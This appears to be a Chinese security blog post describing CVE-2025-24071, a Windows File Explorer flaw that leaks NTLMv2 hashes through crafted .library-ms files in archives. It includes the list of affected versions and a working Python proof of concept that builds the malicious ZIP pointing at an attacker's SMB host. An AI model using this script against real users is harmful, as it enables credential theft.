CVE-2025-24071｜Windows 文件资源管理器欺骗漏洞（POC）

信安百科

发布于 2025-07-30 14:45:48

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代码可运行

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代码可运行

0x00 前言

Windows 文件资源管理器（File Explorer）是Windows操作系统的核心组件，主要用于浏览、管理和操作本地及网络文件、文件夹、驱动器等资源。它提供直观的图形化界面，支持文件创建、复制、移动、删除、重命名等基础操作，同时集成网络共享访问、外部设备管理、文件搜索与筛选等高级功能，是多任务文件处理的核心工具‌。

0x01 漏洞描述

Windows 资源管理器在解压包含特制 .library-ms 文件的 RAR/ZIP 存档时，会自动解析该文件内嵌的恶意 SMB 路径（如 \\192.168.1.116\shared），触发隐式 NTLM 认证握手，导致用户 NTLMv2 哈希泄露。

0x02 CVE编号

CVE-2025-24071

0x03 影响版本

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server 2025
Windows 11 Version 24H2 for x64-based Systems
Windows 11 Version 24H2 for ARM64-based Systems
Windows Server 2022, 23H2 Edition (Server Core installation)
Windows 11 Version 23H2 for x64-based Systems
Windows 11 Version 23H2 for ARM64-based Systems
Windows Server 2025 (Server Core installation)
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

0x04 漏洞详情

POC：

https://github.com/0x6rss/CVE-2025-24071_PoC/

import os
import zipfile

def main():
    file_name = input("Enter your file name: ")
    ip_address = input("Enter IP (EX: 192.168.1.162): ")


    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""

    library_file_name = f"{file_name}.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)


    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(library_file_name)


    if os.path.exists(library_file_name):
        os.remove(library_file_name)

    print("completed")

if __name__ == "__main__":
    main()

0x05 参考链接

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071

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原始发表：2025-03-29，如有侵权请联系 cloudcommunity@tencent.com 删除

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